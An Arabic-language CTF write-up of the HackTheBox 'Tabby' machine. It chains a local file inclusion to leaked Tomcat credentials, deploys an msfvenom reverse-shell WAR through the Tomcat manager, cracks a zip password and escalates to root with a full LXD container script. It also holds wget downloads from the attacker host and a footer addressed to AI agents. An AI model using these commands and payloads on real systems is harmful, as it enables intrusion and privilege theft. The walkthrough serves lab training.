> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md). # شرح Tabby HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * تضمين الملفات المحلية (LFI) * إساءة استخدام مدير المضيف الافتراضي لتومكات * إساءة استخدام مدير Tomcat النصي - نشر ملف WAR خبيث (طريقة Curl) * استغلال LXD (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted ```

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

### **المنفذ 80:**

**البحث عن الأدلة:** نستخدم Gobuster للبحث عن الأدلة في الموقع: ```bash gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * **النتائج:** `assets`, `files`، و `server-status`.

البحث عن النطاقات الفرعية: ```bash gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400" ```

## ثغرة LFI: الوصول إلى الملف الضعيف `new.php` عبر `?file` المتغير في الـ `عبارة` المجلد.

**اختبار تضمين الملفات المحلية (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

* **النتيجة:** الوصول إلى الملف `/etc/passwd`، كاشفًا عن مستخدمين اثنين: `ash` و `root`. **محاولة الوصول إلى مفتاح SSH الخاص بـ Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa` * **النتيجة:** تم رفض الوصول.

**البحث عن المنافذ الداخلية** عبر الـ `/proc/net/tcp` الملف لتحديد الخدمات المخفية:

**البحث عن المنافذ الداخلية** عبر الـ `/proc/net/tcp` الملف لتحديد الخدمات المخفية: ```bash curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" | awk 'NR>1 { # أخذ حقل local_address split($2, addr_port, ":"); # تحويل العنوان إلى صيغة IP hex_addr = addr_port[1]; ip = sprintf("%d.%d.%d.%d", strtonum("0x" substr(hex_addr, 7, 2)), strtonum("0x" substr(hex_addr, 5, 2)), strtonum("0x" substr(hex_addr, 3, 2)), strtonum("0x" substr(hex_addr, 1, 2))); # تحويل المنفذ إلى عشري port = strtonum("0x" addr_port[2]); # طباعة النتيجة بصيغة IP:Port printf "%s:%d/n", ip, port; }' ``` **النتيجة:** اكتشاف المنفذ الداخلي `34650`

### **استغلال مدير المضيف الافتراضي لـ Tomcat (المنفذ 8080)** **الوصول إلى Tomcat** عبر المنفذ 8080 والبحث عن معلومات المصادقة. افتراضيًا، يتم تخزينها في `/etc/tomcat9/tomcat-users.xml` أو `usr/share/tomcat9/etc/tomcat-users.xml`

**بيانات الاعتماد** تم العثور على: `username = tomcat` `password = $3cureP4s5w0rd123!`

**محاولة الوصول إلى** `/manager/html` والذي يُرجع خطأ 403.

1. **بديل عبر `/host-manager/html`**، لكن دون القدرة على إنشاء تطبيق بملف `.war` الملف. {% embed url="" %}

### **استغلال مدير Tomcat النصي** **سرد تطبيقات سطر الأوامر**: ```bash curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list" ```

**إنشاء ملف WAR للحصول على reverse shell** بـ `msfvenom`: {% code overflow="wrap" fullWidth="false" %} ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war ``` {% endcode %}

**نشر ملف WAR** عبر Curl: {% code overflow="wrap" %} ```bash curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war ``` {% endcode %}

**الاستماع لاتصال reverse shell** ```bash nc -nlvp 443 ``` **الوصول إلى reverse shell** عبر الرابط `http://megahosting.htb:8080/reverse`.

#### التعامل مع الطرفية بمجرد حصولك على وصول إلى خادم Linux، إليك الأوامر اللازمة للتعامل مع الطرفية ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### ثبّت الغلاف لتعمل براحة أكبر. ## تصعيد الامتيازات: **استكشاف الـ `/var/www/html`** المجلد/ من خلال فحص محتويات هذا المجلد، نكتشف مجلدًا `files` يحتوي على ملف محفوظ: `16162020_backup.zip`. **نقل الـ `.zip` الملف إلى الجهاز المحلي** لتسهيل التحليل، ننقل الملف المضغوط إلى جهازنا المحلي عبر تشغيل خادم HTTP باستخدام Python: ```bash python3 -m http.server 655 ```

### التخمين القسري لملف .zip: **فك ضغط الملف `.zip` - التخمين القسري لكلمة المرور**/ الـ `.zip` الملف محمي بكلمة مرور.

**استخراج الهاش باستخدام `zip2john`**: لذا سنستخدم zip2john لاستخراج الهاش ```bash zip2john 16162020_backup.zip > hash ```

**كسر كلمة المرور باستخدام `john`**:

john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash

**النتيجة** : تم العثور على كلمة المرور - `admin@it`.

**فك الضغط وتحليل المحتوى**/ استخدم كلمة المرور لفك أرشيف الملف:

فك الضغط ينشئ `var` مجلدًا يحتوي على بعض الملفات المفيدة. ومع ذلك، فإن الـ `admin@it` كلمة المرور تعمل أيضًا مع الـ `ash` المستخدم على الجهاز الهدف. ### العلم User.txt

### استغلال LXD: **تحديد أن المستخدم `ash` ينتمي إلى الـ `lxd` المجموعة**: من خلال التحقق من المجموعات التي ينتمي إليها المستخدم `ash` ، نلاحظ أنه جزء من الـ `lxd` المجموعة، مما يسمح باستغلال LXC للحصول على امتيازات الجذر.

**تنزيل الاستغلال وإعداده**: استخدم `searchsploit` للحصول على سكربت الاستغلال لثغرة LXC (CVE-2020-16941)

يسمح لك هذا السكربت باستغلال ثغرة LXC لتنفيذ أوامر بامتيازات مرتفعة. **محتوى سكربت الاستغلال (46978.sh)**:

#!/usr/bin/env bash

function helpPanel(){
  echo -e "/nالاستخدام:"
  echo -e "/t[-f] اسم الملف (.tar.gz ملف Alpine)"
  echo -e "/t[-h] عرض لوحة المساعدة هذه/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] جارٍ سرد الصور.../n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] جارٍ إزالة الحاوية..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

* يتيح لنا هذا السكربت إنشاء حاوية LXC بامتيازات مرتفعة، مما يسمح لنا بالحصول على وصول الجذر على الجهاز الهدف. **تنزيل ملف صورة Alpine والسكربت:** انسخ المستودع الذي يحتوي على الملفات اللازمة للاستغلال وانقلها إلى جهازك عبر خادم HTTP محلي. ```bash git clone https://github.com/saghul/lxd-alpine-builder ``` ابدأ خادم HTTP محليًا لتقديم الملف والسكربت ```bash python3 -m http.server 80 ``` على الجهاز الهدف، نزّل السكربت وملف الصورة: ```bash cd /tmp wget http://10.10.14.7/46978.sh wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz ```

**تحديث PATH**: عدّل الـ `PATH` لضمان تفسير أوامر LXC بشكل صحيح. ```bash export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin ``` **تشغيل سكربت الاستغلال** شغّل السكربت مع ملف صورة Alpine الذي تم تنزيله لاستغلال الثغرة والحصول على shell كجذر: ```bash ./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz ```

للخروج من الحاوية، ما عليك سوى الانتقال إلى الـ `/mnt/root` الدليل. ### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.